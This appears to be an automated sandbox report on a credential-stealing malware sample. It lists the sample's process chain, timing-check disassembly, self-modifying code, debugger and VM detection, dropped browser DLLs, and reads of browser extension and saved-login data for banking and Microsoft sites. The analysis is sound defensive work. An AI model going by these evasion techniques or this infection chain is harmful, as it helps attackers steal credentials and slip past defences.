Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA8D28 second address: FA8D32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FF8A11EFED6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA8D32 second address: FA8D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FABDBE second address: FABDC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FABDC2 second address: FABDC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FABDC6 second address: FABE3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FF8A11EFED8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 push 00000000h 0x00000026 call 00007FF8A11EFEE9h 0x0000002b call 00007FF8A11EFEE1h 0x00000030 sub dword ptr [ebp+122D29E7h], ebx 0x00000036 pop edi 0x00000037 pop edi 0x00000038 push 00000000h 0x0000003a mov ebx, dword ptr [ebp+122D2E5Ah] 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jnl 00007FF8A11EFED8h 0x00000049 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FABE3A second address: FABE40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FABE40 second address: FABE44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FABE44 second address: FABE48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FACDD1 second address: FACDD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FACDD5 second address: FACDDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FACDDB second address: FACDE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FACDE1 second address: FACDE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FACDE5 second address: FACE60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF8A11EFEDAh 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FF8A11EFED8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 movsx edi, cx 0x0000002c mov dword ptr [ebp+122D3147h], ebx 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007FF8A11EFED8h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 00000018h 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e mov bx, EBA3h 0x00000052 stc 0x00000053 push 00000000h 0x00000055 push esi 0x00000056 mov dword ptr [ebp+1245BA7Ah], ebx 0x0000005c pop ebx 0x0000005d push eax 0x0000005e je 00007FF8A11EFEDEh 0x00000064 push esi 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FADD52 second address: FADD57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FADD57 second address: FADD5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FADD5D second address: FADD61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA2B9E second address: FA2BA8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF8A11EFED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA2BA8 second address: FA2BB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FF8A0DA4806h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FAFED0 second address: FAFEE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A11EFEE1h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FB2D91 second address: FB2E32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA4819h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D1C02h], edi 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007FF8A0DA4808h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov ebx, edx 0x0000002e call 00007FF8A0DA4818h 0x00000033 mov ebx, dword ptr [ebp+122D2E52h] 0x00000039 pop ebx 0x0000003a mov di, dx 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push edi 0x00000042 call 00007FF8A0DA4808h 0x00000047 pop edi 0x00000048 mov dword ptr [esp+04h], edi 0x0000004c add dword ptr [esp+04h], 00000017h 0x00000054 inc edi 0x00000055 push edi 0x00000056 ret 0x00000057 pop edi 0x00000058 ret 0x00000059 mov bx, 820Eh 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007FF8A0DA4813h 0x00000065 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FB2E32 second address: FB2E48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A11EFEE2h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FB2E48 second address: FB2E4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FB4F13 second address: FB4F19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FB5EAB second address: FB5EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FB5EB0 second address: FB5ED2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF8A11EFEDFh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FB5ED2 second address: FB5ED7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FB5ED7 second address: FB5F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF8A11EFED6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FF8A11EFED8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 movsx edi, si 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push esi 0x00000030 call 00007FF8A11EFED8h 0x00000035 pop esi 0x00000036 mov dword ptr [esp+04h], esi 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc esi 0x00000043 push esi 0x00000044 ret 0x00000045 pop esi 0x00000046 ret 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push edx 0x0000004c call 00007FF8A11EFED8h 0x00000051 pop edx 0x00000052 mov dword ptr [esp+04h], edx 0x00000056 add dword ptr [esp+04h], 00000014h 0x0000005e inc edx 0x0000005f push edx 0x00000060 ret 0x00000061 pop edx 0x00000062 ret 0x00000063 xchg eax, esi 0x00000064 push eax 0x00000065 push edx 0x00000066 jnp 00007FF8A11EFED8h 0x0000006c rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FB5F4F second address: FB5F86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FF8A0DA4813h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF8A0DA4819h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FB8FB5 second address: FB8FBF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF8A11EFED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FB8FBF second address: FB8FDF instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF8A0DA480Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF8A0DA480Dh 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FB8FDF second address: FB904D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FF8A11EFED8h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+12450BE1h] 0x0000002c mov dword ptr [ebp+12450BE1h], eax 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007FF8A11EFED8h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 jnp 00007FF8A11EFED6h 0x00000058 push esi 0x00000059 pop esi 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA3F46 second address: FA3F60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA4816h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4CFA3F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4CFA70 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 67A2DA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6789A4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 683EBA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4CF9E5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 70467B instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Special instruction interceptor: First address: DEECBB instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Special instruction interceptor: First address: F92BAA instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Special instruction interceptor: First address: F9AF05 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Special instruction interceptor: First address: 101EDB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 81ECBB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9C2BAA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9CAF05 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A4EDB9 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsFIJKEHJJDA.exe

Code function: 23_2_04D20D4D rdtsc

23_2_04D20D4D

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 5532	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5060	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5060	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1304	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2300	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1196	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6056	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3228	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3228	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 768	Thread sleep time: -52026s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\DocumentsFIJKEHJJDA.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA7C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CA7C930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000019.00000002.2094203339.00000000009A2000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: Web Data.9.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: Web Data.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: Web Data.9.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, 00000000.00000002.2000360601.000000000122B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2000360601.00000000011F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: Web Data.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: Web Data.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: Web Data.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: Web Data.9.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: Web Data.9.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: file.exe, 00000000.00000002.2000360601.00000000011AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2034281866.0000000023911000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696494690x
Source: Web Data.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: Web Data.9.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: file.exe, 00000000.00000002.2034281866.0000000023911000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cRECOVE~1381bankoRecoveryImprovedVMware20,11696494690x
Source: file.exe, 00000000.00000002.1996416606.000000000065B000.00000040.00000001.01000000.00000003.sdmp, DocumentsFIJKEHJJDA.exe, 00000017.00000002.2055263351.0000000000F72000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000018.00000002.2094389576.00000000009A2000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.2094203339.00000000009A2000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsFIJKEHJJDA.exe

Code function: 23_2_04D20D4D rdtsc

23_2_04D20D4D

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAC5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CAC5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CA63480

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CA9B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CA9B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5612, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIJKEHJJDA.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFIJKEHJJDA.exe "C:\Users\user\DocumentsFIJKEHJJDA.exe"
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, file.exe, 00000000.00000002.1996416606.000000000065B000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: #Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA9B341 cpuid

0_2_6CA9B341

